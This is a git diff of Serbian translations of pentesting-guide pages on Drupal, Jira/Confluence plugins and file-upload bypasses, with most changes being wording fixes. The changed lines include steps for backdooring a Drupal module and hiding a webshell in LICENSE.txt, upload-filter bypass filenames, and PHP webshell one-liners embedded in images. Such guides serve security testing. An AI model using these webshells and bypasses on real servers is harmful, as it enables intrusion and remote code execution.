||||||
|
|
||||||
Potrebno je da **plugin php bude instaliran** (proverite pristupom _/modules/php_ i ako vrati **403**, onda **postoji**, ako **nije pronađen**, onda **plugin php nije instaliran**)
|
Potrebno je da **plugin php bude instaliran** (proverite pristupajući _/modules/php_ i ako vrati **403**, onda **postoji**, ako **nije pronađen**, onda **plugin php nije instaliran**)
|
||||||
|
|
||||||
Idite na _Modules_ -> (**Proverite**) _PHP Filter_ -> _Sačuvajte konfiguraciju_
|
Idite na _Modules_ -> (**Proverite**) _PHP Filter_ -> _Sačuvajte konfiguraciju_
|
||||||
|
|
||||||
|
@ -47,15 +47,15 @@ Od verzije **8 pa nadalje,** [**PHP Filter**](https://www.drupal.org/project/php
|
||||||
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
||||||
2. Kada se preuzme, idite na **`Administracija`** > **`Izveštaji`** > **`Dostupne nadogradnje`**.
|
2. Kada se preuzme, idite na **`Administracija`** > **`Izveštaji`** > **`Dostupne nadogradnje`**.
|
||||||
3. Kliknite na **`Pretraži`**, izaberite datoteku iz direktorijuma u koji smo je preuzeli, a zatim kliknite na **`Instaliraj`**.
|
3. Kliknite na **`Pretraži`**, izaberite datoteku iz direktorijuma u koji smo je preuzeli, a zatim kliknite na **`Instaliraj`**.
|
||||||
4. Kada je modul instaliran, možemo kliknuti na **`Sadržaj`** i **napraviti novu osnovnu stranicu**, slično kao što smo uradili u primeru Drupal 7. Ponovo, obavezno **izaberite `PHP kod` iz `Format teksta` padajućeg menija**.
|
4. Kada je modul instaliran, možemo kliknuti na **`Sadržaj`** i **napraviti novu osnovnu stranicu**, slično kao što smo uradili u primeru Drupal 7. Ponovo, obavezno **izaberite `PHP kod` iz `Format teksta` padajuće liste**.
|
||||||
|
|
||||||
## Modul sa Bekdorom
|
## Modul sa backdoor-om
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
U trenutnim verzijama više nije moguće instalirati dodatke samo pristupom vebu nakon podrazumevane instalacije.
|
U trenutnim verzijama više nije moguće instalirati dodatke samo pristupom vebu nakon podrazumevane instalacije.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Modul sa bekdorom može se kreirati **dodavanjem shel-a postojećem modulu**. Module možete pronaći na drupal.org veb sajtu. Izaberimo modul kao što je [CAPTCHA](https://www.drupal.org/project/captcha). Pomerite se prema dole i kopirajte link za tar.gz [arhivu](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
Modul sa backdoor-om može se kreirati **dodavanjem shel-a postojećem modulu**. Module možete pronaći na drupal.org veb sajtu. Izaberimo modul kao što je [CAPTCHA](https://www.drupal.org/project/captcha). Pomerite se prema dole i kopirajte link za tar.gz [arhivu](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
||||||
|
|
||||||
* Preuzmite arhivu i raspakujte njen sadržaj.
|
* Preuzmite arhivu i raspakujte njen sadržaj.
|
||||||
```
|
```
|
||||||
|
@ -97,7 +97,7 @@ Pre aktivacije:
|
||||||
|
|
||||||
Posle aktivacije:
|
Posle aktivacije:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -126,7 +126,7 @@ allow_insecure_uploads: false
|
||||||
|
|
||||||
Da:
|
Da:
|
||||||
|
|
||||||
Fajl: system.file.yml
|
File: system.file.yml
|
||||||
```
|
```
|
||||||
|
|
||||||
...
|
...
|
||||||
|
@ -198,7 +198,7 @@ Zato što kada se Webshell (koji ćemo nazvati LICENSE.txt) postavi na Web serve
|
||||||
|
|
||||||
Zašto nazvati naš Webshell LICENSE.txt?
|
Zašto nazvati naš Webshell LICENSE.txt?
|
||||||
|
|
||||||
Jednostavno zato što ako uzmemo sledeću datoteku, na primer [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (koja je već prisutna u Drupal jezgru), imamo datoteku od 339 linija i 17.6 KB veličine, što je savršeno za dodavanje malog isječka PHP koda u sredinu (pošto je datoteka dovoljno velika).
|
Jednostavno zato što ako uzmemo sledeću datoteku, na primer [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (koja je već prisutna u Drupal jezgru), imamo datoteku od 339 linija i 17.6 KB veličine, što je savršeno za dodavanje malog snippeta PHP koda u sredinu (pošto je datoteka dovoljno velika).
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (7) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (7) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
|
|
@ -15,17 +15,17 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_tečno poljski pisano i govorno potrebno_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
## Check Privileges
|
## Proverite privilegije
|
||||||
|
|
||||||
U Jiri, **privilegije se mogu proveriti** od strane bilo kog korisnika, autentifikovanog ili ne, putem krajnjih tačaka `/rest/api/2/mypermissions` ili `/rest/api/3/mypermissions`. Ove krajnje tačke otkrivaju trenutne privilegije korisnika. Značajna zabrinutost se javlja kada **neautentifikovani korisnici imaju privilegije**, što ukazuje na **bezbednosnu ranjivost** koja bi mogla biti podobna za **nagradu**. Slično tome, **neočekivane privilegije za autentifikovane korisnike** takođe ističu **ranjivost**.
|
U Jiri, **privilegije se mogu proveriti** od strane bilo kog korisnika, autentifikovanog ili ne, putem krajnjih tačaka `/rest/api/2/mypermissions` ili `/rest/api/3/mypermissions`. Ove krajnje tačke otkrivaju trenutne privilegije korisnika. Značajna zabrinutost se javlja kada **neautentifikovani korisnici imaju privilegije**, što ukazuje na **bezbednosnu ranjivost** koja bi mogla biti podobna za **nagradu**. Slično tome, **neočekivane privilegije za autentifikovane korisnike** takođe ističu **ranjivost**.
|
||||||
|
|
||||||
Važna **ažuriranja** su napravljena **1. februara 2019.**, zahtevajući da 'mypermissions' krajnja tačka uključuje **'permission' parametar**. Ovaj zahtev ima za cilj da **poboljša bezbednost** preciziranjem privilegija koje se pretražuju: [proverite ovde](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
Važna **ažuriranja** su izvršena **1. februara 2019.**, zahtevajući da 'mypermissions' krajnja tačka uključuje **'permission' parametar**. Ovaj zahtev ima za cilj da **poboljša bezbednost** preciziranjem privilegija koje se pretražuju: [proverite ovde](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
|
||||||
|
|
||||||
* ADD\_COMMENTS
|
* ADD\_COMMENTS
|
||||||
* ADMINISTER
|
* ADMINISTER
|
||||||
|
@ -74,20 +74,20 @@ Primer: `https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=
|
||||||
#Check non-authenticated privileges
|
#Check non-authenticated privileges
|
||||||
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
|
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
|
||||||
```
|
```
|
||||||
## Automatizovana enumeracija
|
## Automated enumeration
|
||||||
|
|
||||||
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
|
* [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe)
|
||||||
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
|
* [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan)
|
||||||
|
|
||||||
## Atlasian dodaci
|
## Atlasian Plugins
|
||||||
|
|
||||||
Kao što je navedeno u ovom [**blogu**](https://cyllective.com/blog/posts/atlassian-audit-plugins), u dokumentaciji o [Plugin modulima ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/plugin-modules/) moguće je proveriti različite tipove dodataka, kao što su:
|
Kao što je navedeno u ovom [**blogu**](https://cyllective.com/blog/posts/atlassian-audit-plugins), u dokumentaciji o [Plugin modules ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/plugin-modules/) moguće je proveriti različite tipove plugina, kao što su:
|
||||||
|
|
||||||
* [REST Plugin Modul ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/rest-plugin-module): Izložite RESTful API krajnje tačke
|
* [REST Plugin Module ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/rest-plugin-module): Izložite RESTful API krajnje tačke
|
||||||
* [Servlet Plugin Modul ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/servlet-plugin-module/): Implementirajte Java servlete kao deo dodatka
|
* [Servlet Plugin Module ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/servlet-plugin-module/): Implementirajte Java servlete kao deo plugina
|
||||||
* [Macro Plugin Modul ↗](https://developer.atlassian.com/server/confluence/macro-module/): Implementirajte Confluence makroe, tj. parametarske HTML šablone
|
* [Macro Plugin Module ↗](https://developer.atlassian.com/server/confluence/macro-module/): Implementirajte Confluence makroe, tj. parametarske HTML šablone
|
||||||
|
|
||||||
Ovo je primer tipa makro dodatka:
|
Ovo je primer tipa macro plugina:
|
||||||
```java
|
```java
|
||||||
package com.atlassian.tutorial.macro;
|
package com.atlassian.tutorial.macro;
|
||||||
|
|
||||||
|
@ -114,7 +114,7 @@ public OutputType getOutputType() { return OutputType.BLOCK; }
|
||||||
```
|
```
|
||||||
Moguće je primetiti da bi ovi dodaci mogli biti ranjivi na uobičajene web ranjivosti poput XSS. Na primer, prethodni primer je ranjiv jer reflektuje podatke koje daje korisnik. 
|
Moguće je primetiti da bi ovi dodaci mogli biti ranjivi na uobičajene web ranjivosti poput XSS. Na primer, prethodni primer je ranjiv jer reflektuje podatke koje daje korisnik. 
|
||||||
|
|
||||||
Kada se pronađe XSS, u [**ovom github repozitorijumu**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) možete pronaći neke payload-ove za povećanje uticaja XSS-a.
|
Kada se pronađe XSS, u [**ovoj github repozitorijumu**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) možete pronaći neke payload-ove za povećanje uticaja XSS-a.
|
||||||
|
|
||||||
## Backdoor Plugin
|
## Backdoor Plugin
|
||||||
|
|
||||||
|
@ -124,14 +124,14 @@ Ovo su neke od radnji koje bi maliciozni dodatak mogao da izvrši:
|
||||||
|
|
||||||
* **Sakrivanje dodataka od administratora**: Moguće je sakriti maliciozni dodatak injektovanjem nekog front-end javascript-a.
|
* **Sakrivanje dodataka od administratora**: Moguće je sakriti maliciozni dodatak injektovanjem nekog front-end javascript-a.
|
||||||
* **Ekstrakcija priloga i stranica**: Omogućava pristup i ekstrakciju svih podataka.
|
* **Ekstrakcija priloga i stranica**: Omogućava pristup i ekstrakciju svih podataka.
|
||||||
* **Krađa sesion tokena**: Dodajte endpoint koji će echo-ovati zaglavlja u odgovoru (sa kolačićem) i neki javascript koji će kontaktirati taj endpoint i otkriti kolačiće.
|
* **Krađa sesion tokena**: Dodajte endpoint koji će echo-ovati zaglavlja u odgovoru (sa kolačićem) i neki javascript koji će kontaktirati taj endpoint i procuriti kolačiće.
|
||||||
* **Izvršavanje komandi**: Naravno, moguće je kreirati dodatak koji će izvršavati kod.
|
* **Izvršavanje komandi**: Naravno, moguće je kreirati dodatak koji će izvršavati kod.
|
||||||
* **Obrnuta ljuska**: Ili dobiti obrnutu ljusku.
|
* **Obrnuta ljuska**: Ili dobiti obrnutu ljusku.
|
||||||
* **DOM proksiranje**: Ako je Confluence unutar privatne mreže, bilo bi moguće uspostaviti vezu kroz pregledač nekog korisnika koji ima pristup i, na primer, kontaktirati server za izvršavanje komandi kroz njega.
|
* **DOM proksiranje**: Ako je Confluence unutar privatne mreže, bilo bi moguće uspostaviti vezu kroz pregledač nekog korisnika koji ima pristup i, na primer, kontaktirati server za izvršavanje komandi kroz njega.
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **hacking karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
Ako ste zainteresovani za **hakersku karijeru** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
|
|
@ -15,9 +15,9 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako ste zainteresovani za **hakersku karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
|
Ako ste zainteresovani za **hakersku karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -40,7 +40,7 @@ Ostale korisne ekstenzije:
|
||||||
2. _Proverite **dodavanje važeće ekstenzije pre** ekstenzije za izvršavanje (koristite prethodne ekstenzije takođe):_
|
2. _Proverite **dodavanje važeće ekstenzije pre** ekstenzije za izvršavanje (koristite prethodne ekstenzije takođe):_
|
||||||
* _file.png.php_
|
* _file.png.php_
|
||||||
* _file.png.Php5_
|
* _file.png.Php5_
|
||||||
3. Pokušajte dodati **specijalne karaktere na kraju.** Možete koristiti Burp da **bruteforce** sve **ascii** i **Unicode** karaktere. (_Napomena: takođe možete pokušati da koristite **prethodno** pomenute **ekstenzije**_)
|
3. Pokušajte dodati **specijalne karaktere na kraju.** Možete koristiti Burp za **bruteforce** sve **ascii** i **Unicode** karaktere. (_Napomena: takođe možete pokušati da koristite **prethodno** pomenute **ekstenzije**_)
|
||||||
* _file.php%20_
|
* _file.php%20_
|
||||||
* _file.php%0a_
|
* _file.php%0a_
|
||||||
* _file.php%00_
|
* _file.php%00_
|
||||||
|
@ -50,7 +50,7 @@ Ostale korisne ekstenzije:
|
||||||
* _file._
|
* _file._
|
||||||
* _file.php...._
|
* _file.php...._
|
||||||
* _file.pHp5...._
|
* _file.pHp5...._
|
||||||
4. Pokušajte da zaobiđete zaštite **prevarom parsera ekstenzije** na serverskoj strani koristeći tehnike kao što su **dupliranje** **ekstenzije** ili **dodavanje junk** podataka (**null** bajtova) između ekstenzija. _Takođe možete koristiti **prethodne ekstenzije** da pripremite bolji payload._
|
4. Pokušajte da zaobiđete zaštite **prevarom parsera ekstenzije** na serverskoj strani tehnikama kao što su **dupliranje** **ekstenzije** ili **dodavanje junk** podataka (**null** bajtova) između ekstenzija. _Takođe možete koristiti **prethodne ekstenzije** da pripremite bolji payload._
|
||||||
* _file.png.php_
|
* _file.png.php_
|
||||||
* _file.png.pHp5_
|
* _file.png.pHp5_
|
||||||
* _file.php#.png_
|
* _file.php#.png_
|
||||||
|
@ -64,8 +64,8 @@ Ostale korisne ekstenzije:
|
||||||
* _file.php%00.png%00.jpg_
|
* _file.php%00.png%00.jpg_
|
||||||
6. Pokušajte staviti **exec ekstenziju pre važeće ekstenzije** i molite se da je server pogrešno konfigurisan. (korisno za eksploataciju Apache pogrešnih konfiguracija gde bilo šta sa ekstenzijom **.php** će izvršiti kod):
|
6. Pokušajte staviti **exec ekstenziju pre važeće ekstenzije** i molite se da je server pogrešno konfigurisan. (korisno za eksploataciju Apache pogrešnih konfiguracija gde bilo šta sa ekstenzijom **.php** će izvršiti kod):
|
||||||
* _ex: file.php.png_
|
* _ex: file.php.png_
|
||||||
7. Koristeći **NTFS alternativni podatkovni tok (ADS)** u **Windows-u**. U ovom slučaju, karakter dvotačka “:” će biti umetnut nakon zabranjene ekstenzije i pre dozvoljene. Kao rezultat, **prazan fajl sa zabranjenom ekstenzijom** će biti kreiran na serveru (npr. “file.asax:.jpg”). Ovaj fajl može biti kasnije izmenjen koristeći druge tehnike kao što je korišćenje njegovog kratkog imena. Šablon “**::$data**” se takođe može koristiti za kreiranje ne-praznih fajlova. Stoga, dodavanje tačke nakon ovog šablona može takođe biti korisno za zaobilaženje daljih ograničenja (npr. “file.asp::$data.”)
|
7. Korišćenje **NTFS alternativnog toka podataka (ADS)** u **Windows-u**. U ovom slučaju, karakter dvotačka “:” će biti umetnut nakon zabranjene ekstenzije i pre dozvoljene. Kao rezultat, **prazan fajl sa zabranjenom ekstenzijom** će biti kreiran na serveru (npr. “file.asax:.jpg”). Ovaj fajl može biti kasnije izmenjen koristeći druge tehnike kao što je korišćenje njegovog kratkog imena. Uzorak “**::$data**” se takođe može koristiti za kreiranje nepraznih fajlova. Stoga, dodavanje tačke nakon ovog uzorka može takođe biti korisno za zaobilaženje daljih ograničenja (npr. “file.asp::$data.”)
|
||||||
8. Pokušajte da prekinete limite imena fajlova. Važeća ekstenzija se skraćuje. A zlonameran PHP ostaje. AAA<--SNIP-->AAA.php
|
8. Pokušajte da prekinete ograničenja imena fajlova. Važeća ekstenzija se skraćuje. A zlonameran PHP ostaje. AAA<--SNIP-->AAA.php
|
||||||
|
|
||||||
```
|
```
|
||||||
# Linux maksimalno 255 bajtova
|
# Linux maksimalno 255 bajtova
|
||||||
|
@ -82,15 +82,15 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||||
|
|
||||||
* Zaobiđite **Content-Type** provere postavljanjem **vrednosti** **Content-Type** **header-a** na: _image/png_ , _text/plain , application/octet-stream_
|
* Zaobiđite **Content-Type** provere postavljanjem **vrednosti** **Content-Type** **header-a** na: _image/png_ , _text/plain , application/octet-stream_
|
||||||
1. Content-Type **rečnik**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
1. Content-Type **rečnik**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||||
* Zaobiđite **magic number** proveru dodavanjem na početak fajla **bajtova pravog imidža** (zbuniti _file_ komandu). Ili uvesti shell unutar **metapodataka**:\
|
* Zaobiđite **magic number** proveru dodavanjem na početak fajla **bajtova pravog imidža** (zbunite _file_ komandu). Ili uvesti shell unutar **metapodataka**:\
|
||||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||||
`\` ili takođe možete **direktno uvesti payload** u imidž:\
|
`\` ili takođe možete **direktno uvesti payload** u sliku:\
|
||||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||||
* Ako se **kompresija dodaje vašem imidžu**, na primer koristeći neke standardne PHP biblioteke kao što je [PHP-GD](https://www.php.net/manual/fr/book.image.php), prethodne tehnike neće biti korisne. Međutim, možete koristiti **PLTE chunk** [**tehnika definisana ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da umetnete neki tekst koji će **preživeti kompresiju**.
|
* Ako se **kompresija dodaje vašoj slici**, na primer koristeći neke standardne PHP biblioteke kao što je [PHP-GD](https://www.php.net/manual/fr/book.image.php), prethodne tehnike neće biti korisne. Međutim, možete koristiti **PLTE chunk** [**tehniku definisanu ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da umetnete neki tekst koji će **preživeti kompresiju**.
|
||||||
* [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
* [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||||
* Web stranica takođe može **menjati veličinu** **imida**, koristeći na primer PHP-GD funkcije `imagecopyresized` ili `imagecopyresampled`. Međutim, možete koristiti **IDAT chunk** [**tehnika definisana ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da umetnete neki tekst koji će **preživeti kompresiju**.
|
* Web stranica takođe može **menjati veličinu** **slike**, koristeći na primer PHP-GD funkcije `imagecopyresized` ili `imagecopyresampled`. Međutim, možete koristiti **IDAT chunk** [**tehniku definisanu ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da umetnete neki tekst koji će **preživeti kompresiju**.
|
||||||
* [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
* [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||||
* Još jedna tehnika za pravljenje payload-a koji **preživljava promenu veličine imida**, koristeći PHP-GD funkciju `thumbnailImage`. Međutim, možete koristiti **tEXt chunk** [**tehnika definisana ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da umetnete neki tekst koji će **preživeti kompresiju**.
|
* Još jedna tehnika za pravljenje payload-a koji **preživljava promenu veličine slike**, koristeći PHP-GD funkciju `thumbnailImage`. Međutim, možete koristiti **tEXt chunk** [**tehniku definisanu ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da umetnete neki tekst koji će **preživeti kompresiju**.
|
||||||
* [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
* [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||||
|
|
||||||
### Ostali trikovi za proveru
|
### Ostali trikovi za proveru
|
||||||
|
@ -100,9 +100,9 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||||
* **Moguće otkrivanje informacija**:
|
* **Moguće otkrivanje informacija**:
|
||||||
1. Otpremajte **više puta** (i u **isto vreme**) **isti fajl** sa **istim imenom**
|
1. Otpremajte **više puta** (i u **isto vreme**) **isti fajl** sa **istim imenom**
|
||||||
2. Otpremajte fajl sa **imenom** fajla ili **foldera** koji **već postoji**
|
2. Otpremajte fajl sa **imenom** fajla ili **foldera** koji **već postoji**
|
||||||
3. Otpremajte fajl sa **“.”, “..”, ili “…” kao njegovim imenom**. Na primer, u Apache-u u **Windows-u**, ako aplikacija čuva otpremljene fajlove u “/www/uploads/” direktorijumu, ime “.” će kreirati fajl pod nazivom “uploads” u “/www/” direktorijumu.
|
3. Otpremajte fajl sa **“.”, “..”, ili “…” kao imenom**. Na primer, u Apache-u u **Windows-u**, ako aplikacija čuva otpremljene fajlove u “/www/uploads/” direktorijumu, ime “.” će kreirati fajl pod nazivom “uploads” u “/www/” direktorijumu.
|
||||||
4. Otpremajte fajl koji se možda neće lako obrisati kao što je **“…:.jpg”** u **NTFS**. (Windows)
|
4. Otpremajte fajl koji se možda ne može lako obrisati kao što je **“…:.jpg”** u **NTFS**. (Windows)
|
||||||
5. Otpremajte fajl u **Windows-u** sa **nevalidnim karakterima** kao što su `|<>*?”` u njegovom imenu. (Windows)
|
5. Otpremajte fajl u **Windows-u** sa **nevažećim karakterima** kao što su `|<>*?”` u svom imenu. (Windows)
|
||||||
6. Otpremajte fajl u **Windows-u** koristeći **rezervisana** (**zabranjena**) **imena** kao što su CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
|
6. Otpremajte fajl u **Windows-u** koristeći **rezervisana** (**zabranjena**) **imena** kao što su CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
|
||||||
* Takođe pokušajte da **otpremite izvršni** (.exe) ili **.html** (manje sumnjiv) koji **će izvršiti kod** kada ga žrtva slučajno otvori.
|
* Takođe pokušajte da **otpremite izvršni** (.exe) ili **.html** (manje sumnjiv) koji **će izvršiti kod** kada ga žrtva slučajno otvori.
|
||||||
|
|
||||||
|
@ -125,7 +125,7 @@ Ako možete otpremiti XML fajl na Jetty server, možete dobiti [RCE jer se **nov
|
||||||
|
|
||||||
Za detaljno istraživanje ove ranjivosti proverite originalno istraživanje: [uWSGI RCE Eksploatacija](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
Za detaljno istraživanje ove ranjivosti proverite originalno istraživanje: [uWSGI RCE Eksploatacija](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||||
|
|
||||||
Ranjivosti daljinskog izvršavanja komandi (RCE) mogu se eksploatisati na uWSGI serverima ako imate mogućnost da modifikujete `.ini` konfiguracioni fajl. uWSGI konfiguracioni fajlovi koriste specifičnu sintaksu za uključivanje "magic" varijabli, mesta i operatora. Značajno, operator '@', korišćen kao `@(filename)`, je dizajniran da uključi sadržaj fajla. Među raznim podržanim shemama u uWSGI, "exec" shema je posebno moćna, omogućavajući čitanje podataka iz standardnog izlaza procesa. Ova funkcija se može iskoristiti za zle svrhe kao što su daljinsko izvršavanje komandi ili proizvoljno pisanje/čitanje fajlova kada se `.ini` konfiguracioni fajl obrađuje.
|
Ranjivosti daljinskog izvršavanja komandi (RCE) mogu se eksploatisati na uWSGI serverima ako neko ima mogućnost da izmeni `.ini` konfiguracioni fajl. uWSGI konfiguracioni fajlovi koriste specifičnu sintaksu za uključivanje "magic" varijabli, mesta i operatora. Značajno, operator '@', korišćen kao `@(filename)`, je dizajniran da uključi sadržaj fajla. Među raznim podržanim shemama u uWSGI, "exec" shema je posebno moćna, omogućavajući čitanje podataka iz standardnog izlaza procesa. Ova funkcija se može iskoristiti za zle svrhe kao što su daljinsko izvršavanje komandi ili proizvoljno pisanje/čitanje fajlova kada se obradi `.ini` konfiguracioni fajl.
|
||||||
|
|
||||||
Razmotrite sledeći primer štetnog `uwsgi.ini` fajla, prikazujući razne sheme:
|
Razmotrite sledeći primer štetnog `uwsgi.ini` fajla, prikazujući razne sheme:
|
||||||
```ini
|
```ini
|
||||||
|
@ -175,31 +175,31 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||||
|
|
||||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||||
```
|
```
|
